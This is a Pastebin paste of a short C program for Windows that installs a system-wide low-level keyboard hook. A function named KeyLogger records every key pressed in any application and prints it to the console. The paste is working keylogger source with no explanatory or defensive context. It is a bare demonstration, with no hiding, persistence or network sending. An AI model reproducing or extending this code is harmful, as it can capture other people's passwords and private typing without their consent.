Advertisement
GeeckoDev

keyboard hook

Mar 30th, 2012
58
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.82 KB | None | 0 0
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4.  
  5. HHOOK hKeyHook;
  6.  
  7. __declspec(dllexport) LRESULT CALLBACK KeyEvent(int nCode, WPARAM wParam, LPARAM lParam )
  8. {
  9.     BYTE KeyState[256];
  10.     WORD wBuf;
  11.     char ch;
  12.  
  13.     if ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN))
  14.     {
  15.         KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam);
  16.  
  17.         GetKeyboardState(KeyState);
  18.         ToAscii(hooked.vkCode, hooked.scanCode ,KeyState, &wBuf, 0);
  19.  
  20.         switch(hooked.vkCode)
  21.         {
  22.             case 9:
  23.                 printf("<TAB>");
  24.                 break;
  25.             case 13:
  26.                 printf("<ENTER>");
  27.                 break;
  28.             case VK_BACK:
  29.                 printf("<delete>");
  30.                 break;
  31.             case VK_DELETE:
  32.                 printf("<Suppr>");
  33.                 break;
  34.             default :
  35.                 ch = (char)wBuf;
  36.                 printf("%c", ch);
  37.                 break;
  38.         }
  39.     }
  40.  
  41.     return CallNextHookEx(hKeyHook, nCode, wParam, lParam);
  42. }
  43.  
  44. void MsgLoop()
  45. {
  46.     MSG message;
  47.  
  48.     printf("[hook clavier en cours ...]\n");
  49.  
  50.     while (GetMessage(&message, NULL, 0, 0))
  51.     {
  52.         TranslateMessage(&message);
  53.         DispatchMessage(&message);
  54.     }
  55. }
  56.  
  57. DWORD WINAPI KeyLogger(LPVOID lpParameter)
  58. {
  59.     HINSTANCE hExe = GetModuleHandle(NULL);
  60.  
  61.     if (!hExe) return 1;
  62.  
  63.     hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyEvent, hExe, NULL);
  64.  
  65.     MsgLoop();
  66.  
  67.     UnhookWindowsHookEx(hKeyHook);
  68.  
  69.     return 0;
  70. }
  71.  
  72. int main()
  73. {
  74.     HANDLE hThread;
  75.     DWORD dwThread;
  76.     DWORD exThread;
  77.  
  78.     printf("\n[Exemple de Hook Clavier] by tOnyh2\n");
  79.  
  80.     hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)KeyLogger, (LPVOID)NULL, NULL, &dwThread);
  81.  
  82.     return WaitForSingleObject(hThread,INFINITE);
  83. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement